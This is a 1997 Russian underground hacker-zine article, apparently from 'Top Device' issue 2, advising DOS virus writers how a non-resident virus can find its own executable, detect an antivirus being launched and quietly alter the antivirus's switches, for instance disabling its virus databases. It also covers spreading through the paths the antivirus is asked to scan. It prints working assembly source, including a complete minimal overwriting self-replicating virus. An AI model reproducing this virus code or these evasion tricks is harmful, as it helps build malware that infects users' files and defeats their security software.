▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ Copyright (c) 1997, by DRuG  ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
       █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ████████████ ████▄▀███████▄  █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
       █ "TOP Device" - █ ████████████ ██████ ███████▄ █ ▀▀▄ █ █▀█ ▀▀█  █
       █  Underground   █    ██████ ▄▄▄██  ███ ██  ██▀ █  ▄▀   █▄█  ▄█▄ █
       █ Hackers 'Zine! █    ██████ █████████ ██████▀  █ █▄▄   ▄▄█   █  █
       █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█    ██████ ███████▀▄█████     █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ D   E   V   I   C   E ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                            Issue 2. December 1997.


            ОТКУДА ТЫ, МОЯ ПРОГРАММА? ИЛИ КАК СТЕЛСИРУЕТСЯ SEARCH

                                                         by RedArc // TAVC

        Это  одна  из  моих  первых  публикаций в этом журнале, посему мне
   хочется дать несколько полезных советов его читателям.

        Сегодня   вирусный   мир   наполнен   разнообразными  зверушками с
   совершенно  различными  их  алгоритмами  и средами обитания... Но среди
   всех представителей я все же хочу выделить два. Это наиболее простейшие
   вирусы  -  WordMacro  и  SEARCH.  Дело  в  том, что они являются как бы
   многоплатформенными. И в самом деле, что происходит с резидентным супер
   стелсом  и  супер  полиморфиком,  когда я захлопываю DOS-окно, сидя под
   своей  WinNT?  А  уж  если  вирус  садится в память из MBR при загрузке
   (файлово-загрузочный),   то   в   новых  операционках  он  уже  заранее
   обречен,  так  как  та  же Win95 не только не даст ему писать в сектора
   через  int  13h,  но даже виртуализирует порты. И только обычные вирусы
   SEARCH  не теряют своей актуальности в захвативших почти все компьютеры
   в  мире  операционной  системе  от  MicroSoft.  Но  это  еще  не все их
   достоинство.  Они  так  же  могут быть полиморфными и даже... стелсами,
   т.е. невидимками! Разумеется, об этом вирмейкеры думали и раньше (Chaos
   A.D issue 4 // Reminder // Психологическое стелсирование), но сегодня я
   представлю  на  ваше рассмотрение свою статью, опубликованную в журнале
   MooN  BuG  issue 4, выпускаемый группой TAVC. Пусть это будет небольшой
   рекламмой  нашему  журналу,  за  что,  я  надеюсь, редактор меня сильно
   ругать не будет... ;)

        Я  очень  часто  встречаю  вопрос:  "а как добраться до переменных
   окружения?"   или  "как  узнать  имя  программы,  из  которой  стартует
   вирус?"... Разумеется, что на первый взгляд это очень простые вопросы и
   к  вирмейкингу  они  имеют весьма далекое отношение... Но это только на
   первый взгляд. Многие резидентные вирусы борятся с фагами весьма просто
   -  они  им не дают стартавать, например, при активном MME.SSR и запуске
   антивируса Лозинского AIDSTEST, выводится сообщение, типа "А не пора ли
   Дедушке   Лозинскому  на  пенсию?"  (за  точность  фразы  не  ручаюсь).
   Нерезидентные  же  вирусы  довольствуются,  по моим наблюдениям, только
   физическим  удалением  антивирусов или их таблиц. А что же мешает столь
   мною   любимым   сирчам  блокировать  запуск  антивирусов?  Правильно -
   ничего! Достаточно проанализировать имя программы, из которой стартовал
   вирус  и если это антивирус - опаньки... Для этого достаточно залезть в
   DOS  Enviroment.  А  вот как залезть, я вижу, знают далеко не все, хотя
   здесь, опять таки повторяюсь, нет ничего сложного.
        Вот  приведу  пример  исходного  кода  на языке Assembler, который
   нужно  откомпилировать в EXE-модуль. Эта маленькая программа выводит на
   консоль  все окружение DOS, в том числе и имя своего EXE-файла. Следует
   учесть,  что вывод осуществляется до тех пор, пока не встретится символ
   '$',  по  этому  сообщаю, что после имени EXE-файла идет нулевой символ
   (db 0h), на чем, собственно, окружение и заканчивается. Собственное имя
   файла  вместе  с  путем  запуска  отделяется  от  предыдущей  части DOS
   Enviroment двумя словами (dw 0001h, 0000h).

=== Cut ===
.8086
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,ES:CSEG
ORG 100h
start:
        mov ah,62h
        int 21h      ;получим в регистре BX сегментный адресс PSP задачи
        mov es,bx
        mov ax,es:[02ch] ;по смещению 02ch в PSP лежит
                         ;сегментный адресс DOS Enviroment
        mov ds,ax
        mov ah,09h
        xor dx,dx
        int 21h
        mov ax,4c00h
        int 21h
CSEG ENDS
END START
=== Cut ===

        Приведу пример простейшего OverWrite-вируса, который таким образом
   ищет  самого  себя на диске и... сам себя заражает... Этот исходник был
   когда  то  опубликован в эхоконференции SU.VIRUS (FidoNet)... ;) Пример
   следует  откомпиллировать  в  COM-программу. Желательно так же погонять
   его под отладчиком, но не забывайте про стартовые значения регистров!

=== Cut ===
Model Tiny
.Code
org 100h
start:
       mov es,word ptr ds:[2ch]
       xchg cx,di
       xchg di,bx
       inc al
next_byte:
       repne scasw
       mov ax,3d02h
       xchg dx,di
       push ds
       push es
       pop ds
       int 21h
       xchg ax,bx
       pop ds
       xchg dx,si
       xchg ax,cx
       mov ah,40h
       int 21h
       ret
end start
=== Cut ===

        Если  же  по  каким-либо причинам PSP было уничтожено, то есть еще
   один  способ  самонахождения  программы, но к вирусам это действительно
   уже  не  относится...  Для несаморазмножающейся программы ;) достаточно
   иметь  некую  сигнатуру  (специальный  идентифицирующий  набор байт) по
   определенному  смещению  и  при запуске сканировать каталог|каталоги по
   PATH|диск|диски  просматривая  программы  на  наличие этой сигнатуры по
   этому  смещению...  Также,  возможно,  в  качестве этой сигнатуры может
   послужить  обычная  текстовая строка. Некоторые антивирусы именно так и
   находят  своих  "собратьев", например, ADINF Cure Module ищет по дереву
   каталогов на доступных дисках ревизор ADINF.
        Да,   совсем   забыл,   если   вы   просто   заблокируете   запуск
   инфицированного  вами антивируса, то это обязательно вызовет подозрения
   у  юзера.  Скажу  вам  по  секрету ;) что многие антивирусы имеют целый
   набор  очень  полезных ключей, например, запрет тестирования памяти или
   запрет самотестирования, запрет подключения вирусных баз (!) (для DrWeb
   это  /-vir)... Таки лучше будет, если вирус просмотрит список ключей, с
   которыми  запущен  антивирус,  и немного их "подправит"... ;) Для этого
   всего навсего нужно получить доступ к DTA задачи.. Теперь мы знаем, что
   и  нерезидентные  вирусы  могут стелсироваться! ;))))))))) Да, а как же
   получить  этот  доступ к DTA? Дык элементарно, Ватсон! (c) Холмс ж) DTA
   задачи  располагается со смещения 80h байт от начала PSP программы. При
   этом   следует  учесть,  что  первый  байт  указывает  на  то,  сколько
   символов  в строке параметров, т.е. собственно, ее длина, далее следует
   символ  #32  (пробел,  который был вставлен после имени программы перед
   ключами),  а  затем  и  сами ключи... Только не забудьте после внесения
   изменений в параметры изменить и значение длины строки... ;)
     Приведу фрагменты программы, которая проверяет свою строку параметров.

 1 
READ_PARAM:
        cmp byte ptr cs:[80h],0
        je INFORMATIONS
        cld
        mov al,'e'
        call CMP_PARAM
        je Er_Print
        jmp TESTED_Ok
Er_Print:
        inc Er_byte
TESTED_Ok:
        mov al,'o'
        call CMP_PARAM
 1 

 2 
CMP_PARAM:
        mov ch,0
        mov cl,cs:[80h]
        mov di,82h
repne   scasb
        ret
 2 

        Кроме   всего   прочего,  если  параметром  антивирусу  был  задан
   какой-либо  файл,  то  нерезидентный  вирус может первым проверить этот
   файл  и если он окажется инфицированным, то возможно поступить одним из
   следующих  способов:  заблокировать обращение к этому файлу, подставить
   другое имя или самостоятельно излечить этот файл. В первых двух случаях
   юзер  также  может  заметить  неладное, а в третьем случае вирус должен
   содержать  в  себе  процедуру  лечения... Кроме того, вирусу может быть
   передан  каталог  для  сканирования  и  вирус  может  "обработать" этот
   каталог.   Да,  кроме  перечисленных  выше  способов  есть  еще  один -
   прибивать инфицированные файлы, но это imho самоедство.
        Если  же  вы уверены, что в ближайшее время этот антивирус не даст
   никакой реакции на ваш вирус, то вы вполне сможете заюзать передаваемый
   ему  путь  для  размножения.  Это  может  быть  особенно  полезно, если
   антивирус сканирует каталог с новыми поступлениями, которые будут затем
   раскиданы   по  диску  (дискам).  Тогда  даже  ревизор  ADINF  окажется
   бессильным перед вашим вирусом.